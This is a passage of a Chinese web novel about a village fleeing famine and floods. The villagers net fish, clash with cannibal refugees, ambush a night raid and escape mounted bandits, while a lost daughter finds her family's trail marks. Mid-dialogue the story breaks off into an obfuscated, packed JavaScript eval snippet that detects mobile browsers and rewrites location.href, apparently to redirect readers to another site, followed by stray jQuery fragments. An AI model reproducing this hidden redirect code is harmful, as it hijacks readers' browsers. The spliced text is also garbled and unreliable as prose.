趁着洞里香气大,他们今天晚上吃些稍微有味道的食物也不会有人注意。 宁妈从空间里掏出烙饼,摆出两盘菜让宁爸自己夹。 俩人一人再盛一碗汤,晚饭就这样对付过去。 王李村的捡菌子活动持续了两天。 不是附近没菌子了,而是有村民发现这附近有一口水潭! 虽说现在不缺水用,但他还发现水潭里有鱼! 都下了这么多天的雨了,水潭里还有鱼,那村民简直是喜出望外。 他本想趁着村里人还没过来,偷偷弄几只鱼回去,没成想刚下水就往水底下沉,慌乱间他家里人丢来一根树枝他拽着才爬到岸上。 上岸之后才一阵后怕:这潭水看上去不明显,实则深不见底! 他这才去跟里正讲,让里正带人过来想办法捞鱼。 不管怎样,他作为第一个发现潭水还主动上报的,等把鱼打捞上来之后,里正多多少少都会奖给他一些鱼。 村里要有鱼吃了! 里正召集村里汉子去网鱼,有过前几次集体出力占便宜的经历,里正一说,村里只要是还能动弹的汉子都纷纷站出来说要去。 就算是年纪大一些的也起来说自己年轻时候网过鱼,要过去瞧瞧是个什么情况。 去网鱼哪用得着这么多人,里正分成三队,留两队在山洞里休息和等会替换,带着一队十来个人去看看水潭是什么情况。 走的时候,村里人把能带的容器都给带上——水桶、木盆,还有装粮食的袋子。 没桶的,把自家的簸箕和藤条框也给带上,主打一个能把鱼给带回来就成。 一群人浩浩荡荡来到水潭边上,宁爸提了两个木桶混在边上看了一眼:水潭宽四五丈,长六七丈,属实是个大水潭了。 底下的水颜色深得有些发黑,看得人有些胆寒。 让宁爸自己说,给他一百个胆子他都不敢在这附近溜达。 水越深,颜色越绿,这都绿到发黑了,起码得有个十几米,万一底下有暗流或者暗河,稍微带点吸力只要一进去就上不来。 众人站在边上跃跃欲试,里正找人拿树枝试探,绑起来的树枝起码有十米长,投进去都不见底。 当即断了一些人想要跳进去抓鱼的念头。 里头时不时蹦出来一两尾鱼,粗粗看过去,那鱼都有成年人小臂这么长了! 站在岸边的人馋的口水混着雨水一起在脸上横流。 里正:“咱们先回去,用绳子做渔网,再用渔网捞鱼。” 一行人留下几个有伞的在原地守着水潭,剩下的全回去,开始搓绳子。 一部分人在外头薅做绳子用的草,山洞里的人在里头搓绳子。 不管男女老少,统统加入进来。 就连刚醒过来的钱婆子,也被赵老头塞了一把草到手里,让她装模作样地揉。 那边绳子搓出来,有老把式负责上劲,做好的草绳有专门编网的人负责编网。 一个上午的功夫,王李村的人搓出来两张像模像样的渔网。 早上出去的汉子们急吼吼地扛着两张草网去网鱼,剩下的人也没闲着,草网不耐用,他们在洞里边等边做。 带着网到水潭边上,里正贡献出自己揣的都有些发霉的饼子,捏碎了洒在水里,过了一会,往水里丢渔网。 众人耐心地等着渔网收起来,里正看着差不多,一声令下,岸上的汉子们默契地一下一下往后收绳子。 丢下去的时候草网不过十来斤重,收上来的时候起码有几十斤! 抛去被水泡重的重量……底下肯定是有货! 越往岸上拽,他们越能感觉出,网兜里有什么东西在跳跃!在扑腾! 随着草黄色的网一同拖上来的,还有一抹银白色! ——是鱼! “鱼!真的有鱼!” “我们能吃鱼了!” “哦!哦!是鱼!有鱼肉吃了!” “老天——我感谢你!” 说着说着,有汉子当场对着网上来的鱼和水潭跪了下去。 他身边的人随之跪下去好几个。 在场的汉子们顾不得头上的斗笠和蓑衣,互相抱着大笑,笑着笑着就开始哭起来了。 能找到吃的太不容易了! 能活下去太不容易了! 连宁爸都有些被这个氛围给感动到,他抬手,重重地拍了两下旁边的周剑。 激动过后,村里人把鱼倒到一边的空地上,一部分收拾草网,一部分人就着潭水下游杀鱼收拾鱼的内脏。 能吃的尽量都留下来,实在不能吃的鱼鳃丢到一个盆里,待会当饵料去诱更多的鱼。 两个擅长杀鱼的汉子只戴了一个斗笠便开始处理鱼,一个杀一个掏,往水里涮涮血把鱼往干净的盆里一丢,一只鱼便算是杀好了。 连鱼鳞都不用刮!鱼鳞也能吃呢! 杀满一盆,三个汉子往回拖。 刚杀好的鱼拖到山洞里,有里正媳妇带着没出去的人用树枝串起来,架在火堆不远处烘烤。 既要把鱼烤干,又不能像烤鱼那样给直接烤熟了。 洞内弥漫起一股混合着鱼腥味的肉香。 所有人都在偷偷地咽口水,但互相盯着防着,没人敢偷吃。 水潭那边一直忙活到天擦黑才拖着最后一网鱼回去。 今天做草网费了些时间,来回几趟,只捞回来了一百多斤鱼! 里正先给每家分了两条,让大家伙早些吃了歇下,明天他们还要去捞鱼! 第72章 抢吃的 前两日捡的菌子还没烘完,又有鱼吃。 有村民直接把菌子和鱼炖在一起,最后撒一把盐,意外的发现:太好吃了! 不知道是太久没吃肉还是太香了,有些人吃着吃着,直接吃哭了。 领了属于自家的鱼之后,宁妈宁爸回到自家的小天地,把帘子一拉,隔档住其他人的目光。 宁妈掏出平底锅架在炉子上,把锅烧热,宁爸给锅里稍微浇上一点点油,加上两片姜,把洗净的鱼放进去。 滋啦一声,油香和姜味顿时把鱼的腥味给压下去,凉面煎得金黄之后,宁妈从空间摸出一块冻豆腐递给宁爸。 没有鲜豆腐,只能用这个替代了。 陶锅添水烧上,把煎过的鱼和冻豆腐一起放到陶锅里炖,不一会,随着锅底涌上来的开水泡泡,砂锅里的鱼汤越来越白,最后竟然变为奶白色。 冻豆腐在里头都有些发黄。 宁妈拿出小葱,等出锅之前,宁爸先往里头加了一撮盐,最后把小葱撒上去,鱼汤又鲜又香,喝一口舌头都要被鲜掉了。 光喝鱼汤不够,宁妈拿出来之前煎的预制馅饼,俩人就着一锅鱼汤,一人一口气吃了三个巴掌大的牛肉馅饼。 最后喝汤溜溜缝,宁爸觉得自己都要晕碳了。 洞里其他人家也差不多,有一大半都在炖汤喝。 白天淋了雨,夜间喝汤刚刚好。 第二天。 都不用里正催,王李村的人早早便起来吃好早饭,天刚蒙蒙亮的时候便吆三喝六地喊着熟悉的人起来去网鱼。 昨天在洞里休息的人又做了两张网,今天一下子出去一半人去网鱼。 有两个妇人杀鱼麻利,自告奋勇去杀鱼,里正也把人给带上。 到了水潭,捞鱼的捞鱼,杀鱼的杀鱼,剩下的人轮班把鱼往山洞里送。 山风一刮,洞口满是鱼香味。 更令人高兴的是,连着几天的雷暴终于没了! 这下被雷劈两次有些不敢出去的钱婆子都敢壮着胆子让赵老大扶着她去外头。 王李村的人,一半的人分成两队,一队去捞鱼,一队在洞里烘鱼补草网。 另一半的人,各家自己留人在洞里看东西,剩下还能动弹的都出去找菌子了。 虽然有鱼可以吃,菌子也不能不要!这两样弄干了可都是能储存好久的吃食! 王李村的人起码网了一千多斤的鱼,按人头分到每家,一人都能分到十来斤! 老赵家人多,车厢里堆满了烤得半干的鱼,夜间休息的时候得掏出来时不时翻烤,不烤透就放着容易坏。 这天,王李村的汉子拿着草网朝水潭走。 远远的,走在队首的王修奉瞧见水潭旁似乎有人! 他们想往回躲躲,没曾想,站在水潭边上的人也看到了他们。 没办法,王修奉只能皱眉上前,走近了,他才能看到,站在水潭边上的是一群衣衫褴褛的难民。 王李村的人衣裳上挂几个破洞,多几个补丁的逃荒人跟他们比起来,还算是体面的了。 对面的人衣服烂得真的是一缕一缕的,宁爸眼神好,都能看到有几个汉子胯间的衣服几乎遮不住屁股。 对面的汉子看到王李村的人,立马站在水潭边上拦住,恶狠狠道:“这个水潭是我们发现的!” “你胡说!” 王修奉身后的汉子朝对方喊:“明明是我们先发现的!” 两边一言不合吵了起来,王修奉看他们也没个领头的样子,让自己这边停下。 等两边吵完,王修奉说:“我们发现水潭之后立马去编草网了!你们明显是才发现水潭,不然连个捅都没有,那什么来捞鱼?” 对方一听,其中一个汉子直接过来推搡一把,“滚你丫的,老子管你什么水桶渔网的!” 王修奉反反应不及,被他推得往后**几步,他身后的汉子直接撸起袖子,照那人脸上一拳砸下去。 后头的人丢下手里的草网和木桶木盆,捋捋袖子直接加入战局。 怕衣裳被打坏,有几个汉子直接脱了上衣,连着斗笠一起放在一边,大喊着挥舞着拳头朝对方脸上砸。 对面先动手还不讲理,那他们也没有讲理的必要!况且这水潭是他们先发现的! 这里头可是关乎着一家老小接下来的口粮,说什么也不能退让! 站在后头的宁爸吩咐队伍里年纪较小的少年和周剑:“你俩快些回去告诉里正,说水潭这边有流民过来了,现在打起来了,让他们带点人过来!” 俩孩子听完,手拉手朝山洞跑。 他们离开之后,宁爸捋捋袖子,赤手空拳加入战局之中。 为了护食,两边都下了死手,什么下三烂的招数都能使出来,宁爸险险躲过一击之后,从腰间拿出赵宁宁从空间拿出来的,给大家留着防身的水果刀。 这水果刀买来是切西瓜使的,二十厘米长,宁爸空了就会磨,锋利无比。 一刀朝对面汉子的腰刺下去,对面的人立马倒下去一个。 这边有武器,对面猝不及防之下,连续三个人中招。 后头,里正和队伍里的壮汉带着武器大喊着赶过来。 对面见势不妙,拖着受伤的人立马撤退。 宁爸朝王修奉看了一眼,王修奉抹抹脸上的雨水,跟着在宁爸后头,远远缀着这几人跟踪。 里正赶来时,王修奉都走远了,他不放心,村里两个方向好的汉子主动出来说跟着过去。 等他们四个走远,站在水潭边上的汉子问:“里正,咱们还捞鱼吗?” 里正点头:“捞!能捞多少捞多少!” 这里既然被其他人发现,说明这里要不太平了! 能捞多少就捞多少,否则后头其他流民追上来……光靠他们一个村子,总有守不住的时候。 另一头。 宁爸和王修奉没走多远,后头的两个汉子也赶了过来,四人默契地没有说话,而是远远跟着前头的人。 那十来个汉子没想到自己都逃走了还会被跟踪,一个回头看的都没有,宁爸随着他们翻过一个小坡,看他们从坡顶滑到坡底。 隔着林子,能隐约看到他们在底下用树枝和树叶搭了防雨的棚子。 这种棚子不耐雨淋,每天都要重新搭建和打理,王李村的人在路上也搭过,有油布的人家都是用油布做棚顶的。 数了数棚子,约莫有十来个,底下挤挤攘攘的,不知道有多少人。 那十来个汉子到坡地,立马有三个汉子迎上去,几人说了几句话,把受伤的汉子往一个油布棚子底下拖。 这个油布棚子是十几个棚子里唯一还像样的棚子。 不过有些奇怪的是,那三个汉子被拖进去之后,既没人进去看他们,也没人从里头出来。 反倒是旁边的棚子开始架锅生火起来了。 那锅还是一口大铁锅。 宁爸挑眉,他们穿得这么破烂,从哪找来的这么大的铁锅? 往锅里添水烧滚之后,宁爸才看到有人往油布棚子里走,进去的人拿着一把刀,再出来的时候……提着两个胳膊和一条腿。 意识到自己看到什么东西的时候,已经来不及了。 宁爸咧咧嘴,把目光挪开,刚好看到了一边的王修奉,正捂着嘴,一副要吐不吐的样子。 王修奉后头的两个村里汉子也跟他一样,紧紧捂住嘴,生怕自己吐出来,也生怕自己发出声音。 过了一会,宁爸才做好心里准备往底下瞧。 “食物”已经煮上,等熟的时候,那几人凑在一起不知道在说些什么。 宁爸又等了一会,趁他们分肉汤的时候粗略数了一下人数,这才带着三个村里人往回走。 一直走了很远,王修奉才扶着树干,干呕几下。 另外两个汉子脸色也很难看。 “赵大哥,他们……” 宁爸忙打断他们的话:“嗯,是的,别说出来。” 王修奉听完,捂着嘴又去干呕去了。 等他好一些,几人一边往回走,宁爸一边说:“他们这个队伍有七八十个人,壮劳力的汉子几乎占六七成。” 王李村现在的汉子,只占五成。好在王李村的人数多一些,两边汉子总数倒是差不太多。 宁爸笃定道:“他们那边肯定不会善罢甘休的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235824|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 回到水潭边上,宁爸把自己的发现跟里正讲了,里正愁得眉毛都白了几根,说:“咱们不能丢掉水潭,这样,从今天开始,咱们都警惕起来,派两个人盯着那边的动静。” “要是发现他们的人往这边走,就赶紧回来通知,这边也好做预防。” 首选盯着他们的人,肯定是今天跟踪过去的四人。 他们再带出来四个,这样八个人好轮换,也不一定非要壮劳力的汉子,跑得快、胆子大的小子也可以。 跑回去通报的周剑和另一个少年被宁爸推举出来,里正让他俩跟着认认路。 发现后头有流民撵上来之后,山洞里的氛围都开始紧张起来了。 何氏把能收起来的东西都收起来。 烤好的鱼干和菌子干都收好,用绳子固定好。 被褥尽量铺的一卷就能往车上放。 万一说要走,她们家可以省去收拾的时间,尽快离开这里。 宁妈也简略收拾了一下东西,她担心宁爸,听到外头有**的流民,宁妈托何氏帮忙看着自家车架子,跟着宁爸一起到外头盯梢。 她**嗷嗷猛,里正看她担心,干脆放她和赵老二一起去盯梢。 在山洞里闲着的时候宁妈把空间整理了一下,走在路上顺手收了几个大石头,作防身的大杀器用。 两人一组,一组盯梢四个时辰,一天轮换三组。 因着要长时间在外头,里正贡献出家里的斗笠和蓑衣,让来盯梢的人都能尽量不被雨水淋到。 宁爸宁妈自己就有,不用借用里正家的,他俩找了一个隐蔽的凹坑,宁爸去扯点枯黄的野草顶在斗笠上。 黄色的斗笠和枯黄色的野草融为一体,十分隐蔽,这样远远看过来,不仔细看都认不出。 窝在坑里,四处无人,宁妈刚好能开小灶。 不方便吃的食物她就不拿出来了,之前做的卷饼还有,宁妈一人拿出来一个。 只吃饼有些干巴,宁妈拿出来一瓶橙汁递给宁爸。 吃完卷饼,宁妈把之前卤的肉也拿出来两块,一人一块啃完,宁爸都觉得自己肚子有点胀。 吃饱之后,俩人坐在原地盯梢。 白天盯完一轮无事发生,第二天白天,负责盯梢的王修奉跑回山洞,喊村里人带上武器。 那群人召集了二十来个汉子正朝着水潭那边去! 另一个盯梢的人去水潭边上通风报信,两边夹击之下,对面流民刚到水潭边上没多久,又被打了个遍体鳞伤的回去。 第二天轮到宁爸他们盯前半夜。 一开始他们在坑地下也是正常走动,受伤轻的人回自家棚底下休息,受伤重的直接被拖进油布棚底下。 宁妈推测,这是把受伤重的人当成“备用粮”。 有几人围着火堆坐着说话,他们没什么耐心,说着说着竟然吵起来了。 宁妈和宁爸胆子都大,借着夜色趴在斜坡上偷听。 “……那可是水潭!你也看见了,鱼有多大!” “反正老子是受够了!谁爱**肉谁吃!我要吃鱼!” “老大,你就说句准话,咱们人这么多,怕那群人作甚!” “就是,咱们只是一时不防,谁料到他们竟然耍阴招,直接带了这么多人过来!” 坐在上首的人一直没有吭气,良久,那人才说:“明天,明天去水潭边上打探一下他们队伍的情况。” “早该这样!咱们这么多人怕他们干啥,打赢了,他们的人和吃食都是咱们的!” “就是,他们霸占水潭那么久,肯定捞上去了不少鱼!只要咱们把那支队伍吞下,他们捞上来的鱼都是咱们的!” “那他们不是白费力气给咱们做衣裳?” “笨!那叫‘为他人作嫁衣裳’!” “……” 直到夜深了,对面队伍的吵嚷声这才渐渐消停。 等他们都去休息之后,宁爸和宁妈退回凹坑。 等后半夜交班的人来了之后,宁爸简单交代了一下底下人的话,带着宁妈冒雨赶夜路回山洞。 回去之后,宁爸学了学那几人的话,问:“里正,咱们咋办?” 第73章 危机逼近 里正沉吟片刻,对着噼啪作响的火堆叹了口气,“咱们来一个‘将计就计’既然他们想探查,咱们就给他来个虚虚实实。” “明天留一半的人在洞口里藏好,其他人正常活动。”里正说:“出去捞鱼的都带好农具防身,万一遇到什么不对,保命为主。” 离得近的村民们听到,不住点头。 说完安排,里正打发他们回去睡觉。 第二天一早,王李村队伍像往常一样,带着农具和草网去水潭边上打水。 这边有意放水,水潭边上负责警戒的人站的远远的,对面一来人,这边就密切关注着对方的举动。 “锤子,你看看他们,个个身上都有肉,他们该不会把水潭里的鱼都给吃完了吧!” “咋可能!” 锤子:“他们一个人只有一张嘴,没看他们网鱼一下子能网上来十来条吗!” 比起前几天一下网就满满一网,这几天蹲点一上午只能网上来十来条鱼,王李村的人都嫌少。 嫌少也比没有强,他们勤勤恳恳地过来网鱼,休息的时候就搭把手把鱼都给处理好,放在盆子里等会装满了一起拖回去。 那盆子里堆满的鱼,看得三柱眼都红了。 他们队伍整日吃的不是草根,就是人肉……说实在的,三柱一开始真下不去口,为了活命他不得不去吃。 要是有鱼肉吃,谁想吃那玩意! 三柱数了数,在岸边捞鱼的有十五个汉子。 昨天过来支援的大概有十个。 得知道他们队伍里还有没有其他壮劳力,若没有,这二十来个人加起来还真没有自家队伍里的汉子多! 说不准真能打赢呢!早知道昨天多带点人出来了! 三柱一直在等,等对面村子在水潭里又捞上来几条鱼,把鱼装满一盆子之后,他们才派出几个拖着盆子往回走。 ——机会来了! 三柱和锤子一起悄摸地跟在后头。 顺着山路走,他俩看到这几人把盆子拖到了一处山洞! 他们竟然有山洞! 三柱眼红得几乎要滴血,要是有山洞,睡在里头晚上就不用担心会漏水了! 这群人真是好命!又是水潭又是山洞! ——一定要给打下来! 三柱在心里暗暗发誓。 洞口的人把鱼接走之后,那几人拖着空盆子又回去了。 三柱在洞口外急得抓耳挠腮。 他进不去,自然没法子知道里头人的数量。 还是锤子聪明。 “你先别急,听我说,人总有三急,咱们蹲在这数一数他们出来尿尿的人的数量就成了!” “他们总不能尿在山洞里吧!那味道该多大啊!” 三柱一拍脑袋,“对啊!!就是要费点时间。” 他俩耐心地蹲守,里头,按照里正的吩咐,隔一会出去一两个人去“上厕所”。 三柱数了数,所有人加起来,还不到四十个! 这里头还包含昨天那十个去水潭边上支援的汉子。 整个队伍加起来才五十个汉子,怎么可能是自家队伍的对手! 三柱耐心地等了一会,见出来的人开始重复,这才带着锤子回到自家队伍的坡地。 一到坡地,他便迫不及待找到老大,说:“老大!他们加起来才五十多个人!汉子加起来还不到三十个!” “这个队伍可以拿下!” “咱们啥时候去!” 三柱已经迫不及待想睡进干燥的山洞了!不敢想里头有多安逸!还能一边吃烤鱼,一边喝鱼汤! “咱们……” 趴在坡顶上的宁爸着急,那群人压低了商量的声音,他听不见。 宁妈小声安慰:“别急,他们要行动的话咱们跑快点回去通知就行。” 宁爸这才点头,那群人商量到一半,吃了晚饭便呼呼倒头大睡。 顶上,宁爸宁妈轮流着去盯坡底的动静。 一直到后半夜换班的时候底下还在安静睡觉,临走的时候,宁妈着重叮嘱来接班的汉子:“他们可能会在后半夜偷袭,你们注意着点。” 关乎队伍安全,这两个汉子一脸郑重,齐声道:“好!” 回到山洞,里正还醒着,见宁爸宁妈回来问了一下对面的动静,又派人在洞外值守,这才回去睡觉。 平稳地睡了两个时辰,睡到一半的时候,洞口前头有动静。 宁妈先醒的,看了时间才三点半。 估计是对面要动手了! 她起来推推旁边的宁爸,两人睡觉前没脱衣服,直接穿了鞋走到洞口前头,果然!两个值守的汉子提前回来了! 里正:“喊队伍里的人起来!但都别点火把!” 怕敲锣动静太大,醒着的人听到里正的指令,四散开去每家每户的通知。 宁爸宁妈一路喊过去,村里人都提着心呢,一喊就醒过来,知道不让点火把,让家里的孩子看着东西,提着武器到洞口埋伏好。 捞了这么多鱼,里正每天都在给村里人分鱼,他们要守护好自家的家人,还有自家来之不易的口粮! 对面。 三柱带路,总共四十五个汉子举着二十来个火把,沿着山路气势汹汹地朝山洞走去。 走到山洞前面,老大让队伍停住,把手里的火把都熄灭,他们驻足观察。 一炷香的时间过去,直到那山洞门口值守的人昏昏欲睡,老大这才让队伍放轻脚步往前走。 夜黑,四十五个汉子刚走进山洞范围,忽然前头的人一脚踏空,来不及叫唤便被底下的东西贯穿了身体。 只一瞬间!起码少了七八个汉子! “有陷阱!可恶!这群人肯定是知道了什么!” 老大握紧拳头,“三柱!你在前头探路!” 三柱握着锄头,小心翼翼地往前伸,陷阱只有那几个,后头一个都没有。 这样一下子耽误了一刻钟的时间! 老大阴沉着脸去看山洞,好在山洞内值守的人已经睡过去了,丝毫没有注意到外头的动静。 少了八个人又如何,他们汉子的数量依旧比对面多!至于妇人老人,最好别不开眼往前凑,否则他可不会手软! 走到洞口,老大抬起手中的大刀往前砍去。 没曾想,那地下躺着打盹的汉子一个翻滚躲闪到一边,也不知道他何时拿到了大刀,在大刀举起的一瞬,洞内顿时亮起了火把! 整个山洞被照得明晃晃的!洞口竟然挤挤地站着上百个人! “不好!上当了!” 老大此刻还有什么不明白的,他们队伍之所以这么顺利能跟踪到人,还不是对面故意放水了! 就连三柱数的人数!那也是对面故意让他们误会的,这个队伍里不止三十多个汉子!他们整个队伍起码有上百个人!有六十多个汉子! 老大扭头便想走,山洞里,王李村的村民拿着之前缴获的武器,大声喊着“冲啊”。 汉子妇人齐齐出动,在洞口直接将对面的人给留住! 一个时辰过去,洞外最后一人倒下。 天边露出一丝鱼肚白王修奉气喘吁吁地回到洞口边上,对里正说:“爹,全部都解决了。” “好孩子,辛苦了。”里正眼中带着担忧,欣慰地看着王修奉,“把他们的尸体丢进坑里,你们早些洗一洗回来休息。” 这场打斗,王李村有两个汉子一个妇人去世,五人重伤,剩下十几个身上多少都有些伤口。 雨中战斗无法点燃火把,即便是再怎么小心,宁爸身上也割破了一道十厘米长的口子。 都顾不及在外头冲洗,宁妈直接带着他回自家的架子车旁边,把帘子一拉,让他将湿衣服脱下来。 用毛巾蘸温水简单擦过之后,宁爸换上干爽的衣服。 穿上衣的时候,他特意把受伤的胳膊露出来。 宁妈从空间拿出碘伏和生理盐水,给宁爸冲洗胳膊上的伤口。 冲洗后再小心用碘伏给伤口附近消毒,好在虽然伤口有些长,但并不深。 消毒完,宁妈用纱布给他把伤口包扎好,让宁爸吃下一颗消炎药。 “还好之前宁宁的药箱每天都拿出来了一个备着。”宁爸吃完药,坐在小板凳上感叹。 感叹到一半,看见宁妈眼眶都红了,宁爸赶紧打岔,“你不是说要把消炎药拿出去一些吗?快些去吧!” 宁妈转身,把手里有的消炎药一粒一粒挤出来放在之前装消食丸的瓷瓶里,拿着去找里正。 等她走出去之后,宁爸的眼眶也红了起来。 他吸吸鼻子,叹了口气,“哎……” ——宁宁和小启,也不知道怎么样了。 宁妈拿出去的药大概有六十粒,交代里正怎么吃之后,宁妈便不管里正怎么去分配,直接回去。 站在帘子外头,宁妈调整好了心情再进去。 撩开帘子,宁妈和哭得稀里哗啦的宁爸对上。 宁妈:…… 宁爸:“呜呜……我想、我担心俩孩子……” “甭哭了。”宁妈说:“担心也没用,咱们不是在路上做了好些标记吗。” “我怕他们看不见。”宁爸吸吸从鼻孔里流出来的鼻涕,被宁妈嫌弃地扔来一张纸。 擦擦鼻子,宁爸接着说:“万一他们走岔路了呢!” “咱们不是说过,走错地方就到城镇上再碰面。”宁妈叹气,“现在天天下雨,实在是走不快,也不知道啥时候才能走到渌川郡。” 两人又发愁了一阵子,外头里正在催大家伙休息。 村里人休息了半天,留下受伤的在洞里,剩下的人继续出去捞鱼。 天大地大,活下去最大。 有好事的汉子还去那群流民落脚的坑底看了,那群人半夜没等到自家队伍的领头人回来,拆了值钱的东西连夜跑了,只剩几个树枝搭的棚子。 又捞两天鱼,水潭里的鱼越来越少,经常蹲守半天也不见一只。 外头的菌子倒是长势良好,里正便不管村里人,让他们想捞鱼的去捞鱼,想捡菌子的去捡菌子。 弄到手的都是自家的。 洞口附近的菌子捡完,去更远一些地方的菌子。 前头一波菌子摘了,后头的菌子还会再长起来。 只能看到希望,总能走出一条活路来。 只可惜这种平稳的生活被一群群新涌入山脉的流民打破。 第一批流民发现之前有人留下的棚子,二话不说立马占着不走。 去捞鱼的人也跟他们撞见了,鱼也不捞了,带着工具直接回山洞通知山洞里的人。 好在他们都是十几个人二三十个人一队,倒是对王李村的队伍构不成什么威胁。 里正让人多注意着外头的动静,交代村里人出去捡菌子的时候一起行动别落单。 气氛又开始紧张起来。 宁妈估摸着,要不了几天队伍还会出发。 流民队伍不断在壮大。 一天,后头的队伍里来了一队全都骑着马拿着砍刀的人。 他们一过去就把十几个棚子全给占了,有流民反抗,对面二话不说直接把人给杀了。 还有人壮胆去搭话,对面也直接把人给杀了。 他们杀了十几个流民以作震慑,把剩下的不敢说话的流民全收纳进去,当自己的手下使唤。 盯梢的人悄悄回到山洞报信。 里正在山洞内来回踱步,走到一半,他忍痛道:“走吧!” “反正水潭里也捞不上来鱼了,附近的菌子也捡得差不多了,咱们还能边走边去其他地方捡菌子。” 说走就走,这会子是晌午,外头有捡菌子的还没回来,村长带人去找,在洞内的村里人匆忙收拾着自家的东西。 外头晾着的鱼和菌子打包好,盆盆罐罐都收好。 有手巧的村民趁着这段时间休息,自己手搓出来了一个独轮车。 轮子是用实心的木头做的,虽然推起来重了一些,那也比用肩扛着东西走强。 也有人效仿他,做了一个车斗出来,轮子还没来得及做,只能用绳子绑在车上,待会直接拖着东西跑。 东西收拾得差不多,外头捡菌子的人也被村长找了回来。 把装了菌子的袋子往车上一放,众人收拾得齐齐整整的,里正一声令下:“走!” 他带着队伍走出洞口,刚出去便迎上了一道道不善的目光。 是那群骑着马的悍匪! 里正心跳如擂鼓,“快走,修奉,你带着村里人快走!” “爹!”王修奉大喊。 村长拉扯他,“快跑!” 第74章 拜师学艺 这群人杀人不眨眼,根本不是普通的劫匪! 王修奉咬牙到后面指挥能走的村民。 剩下一部分人要留在后头断后,里正和村长亲自指挥。 对面的悍匪看到嘴边的鸭子还想飞,伸手一扬鞭,胯下的马便朝着这边奔来。 王李村的村民卯着劲往前跑,那架势,如同当日被洪水追在后头一般! 一口气跑出去半里地,那群悍匪骑着马追上来,村长亲自翻身上马,提了一把大刀迎上去。 他身后,两个汉子拿着翻稻草的铁叉去戳那群人身下的马匹。 马儿吃痛,扬起前蹄将背上的人甩下去。 王李村有大刀的人趁其来不及翻身的时候,挥着大刀将对方的头砍下。 对方只有短兵器,对上这个十分吃亏。 但他们还是不肯放弃! 王李村的人边打边跑,一直到天黑才把这群豺狼给甩开。 他们顾不得天黑危险,选择不点火堆。 要是点火堆被看见追上来,那才叫一个得不偿失! 里正估摸了一下,他们今天起码跑出去了十里地。 所有人都缩在一起,有车厢的进车厢躲雨,有油布的用油布搭棚子。没有油布的,用模板搭棚子。 各家人有各家人的手段。 老赵家。 金贵的曹柔安顺理成章地躲进车厢里头,她靠着角落,另一边是钱婆子和赵老头。 车厢小,之前没有吃食里头还能塞七八个人,现在里头半车厢都是鱼干和菌子,只能容下四个人。 钱婆子看不得小孙孙在外头,硬是把赵谦喊进来,用手抱着让他坐在自己腿上头。 除了他们,车厢里最后一个大人就是老赵家最宝贵的大孙子赵文远。 赵老大和孙氏只能带着赵慧兰去车底下躲雨。 赵老三和吴氏也只能带着女儿挤在车下。 他们连个凳子都没有,赵老三摸黑去捡了两块石头垫着,这才不至于直接坐在泥巴上头。 勉强凑合度过一晚,第二日一早,王修奉去来时的路上打探了一番,那群人离队伍不过三里地! 他们还没死心! 有了危机感,王李村的人白日继续匆匆赶路。 这次他们怕地上留下车轮印记和脚印,特意让人在后头清理痕迹,王修奉拉了一辆车从其他地方跑,故意弄出几道误导那群悍匪的印记。 连着逃了三天,对方没有追上来的迹象,王李村的人这才放下悬起的心,慢慢赶路。 另一边。 赵宁宁指着树上的“Z”字,高兴地大喊:“哥!哥!你看那个!” 赵启闻声顺着妹妹指着的方向去看,山下众多岔路上的一棵树上,刻的有字! Z字刻的及其自然,好像是动物留下的爪印一般,赵宁宁却知道,那是他家约定好的符号。 宁妈周兰香的姓拼音也是Z,赵也是Z,这是他们家约好做标记的方式! 赵宁宁高兴地跳下车,撑着伞凑过去,果然,在Z字旁边的树上,还有一道小小的D形和N形痕迹。 这是指方向的标记。 赵宁宁看完,回到车上对温子川说:“我们家的队伍往东南去了。” “东南?那不是跟我们的方向一样?”温子川道:“这样顺着这条路往前走,你们就能碰到你爹娘了。” 赵宁宁笑笑:“对啊!走了这么多天没看到标记,我还以为我们跟他们岔开路了呢!” 事实上他们还真是岔开了,宁爸留下了十来个类似的标记,赵宁宁在倒数第三个才碰上。 她和赵启被泥石流推到洪水里之后,在洪水里漂向了下游,这些天他们从斜后方赶路,多走了好一段路才走上去渌川郡的正路。 温子川:“接下来只要往这个方向走就好了。” 反正都是去渌川郡的,前头有人走过这条路,说明这条路是能走的。 赵宁宁他们不知道的是,这会他们所处的位置,正是王李村遇到雷暴的地方。 顺着有标记的地方往山下走,没走多久,赵宁宁便看到有好多流民聚集在一处山沟里不知道在干嘛。 温子川显然也看到了。 这么多人……他当机立断吩咐队伍绕道。 他们队伍全是马车,没必要非从这条路过去惹眼。 绕开这群人后,赵宁宁他们迎面遇见了一队全骑着马的人。 他们个个提着带血的砍刀,有几人手里还提了几个鼓鼓囊囊的袋子。 双方一碰面,对面的人立马松开手里的袋子。 领头的人仰天大笑道:“哈哈哈!弟兄们!老天真是不亏待我们!前头那群肥羊没抓住,又给咱们震天帮送来一群!” 他把手里的大刀在马鬃毛上蹭蹭,双腿一夹马肚,身下的马儿便冲着车队跑去。 赵宁宁:“?” ——你才是肥羊! 车队别看只有十七个人,各个都是温家挑出来的好手! 温子客让表弟和两个小恩人站在一起,亲自守在一边。 温子川右臂的伤口痊愈的差不多,不敢用太大力气,拔剑吓唬一下敌人还是可以的,他将长剑取出,站在另一边。 “杀啊!!!” 双方兵刃相交,长剑如同有了生命一般,绕过大刀刺向对面人的心口! 霎时间,悍匪那边倒下四五人! 领头的人见势不妙,骑马跑到这个车队中间——那车上被两人护着的小孩!肯定是最重要的! 只要抓住一个当人质,不怕他们不把粮食交出来! 悍匪领头心念转之时,人已抵达马车前头,伸出大刀便要朝站在前头的两个人砍。 温子客和温子川齐唰唰地举剑应对,那悍匪将身子一甩,从马背上歪倒到一边,一伸手就把车头上站着的赵宁宁给捞走了! 赵启:“宁宁!!” “赵姑娘!” 悍匪领头骑马走了一段,这才将身子回正,轻松提着小姑娘在后头,狞笑道:“哈哈,你们的小姐被我抓了!还不快把粮食交出来!” 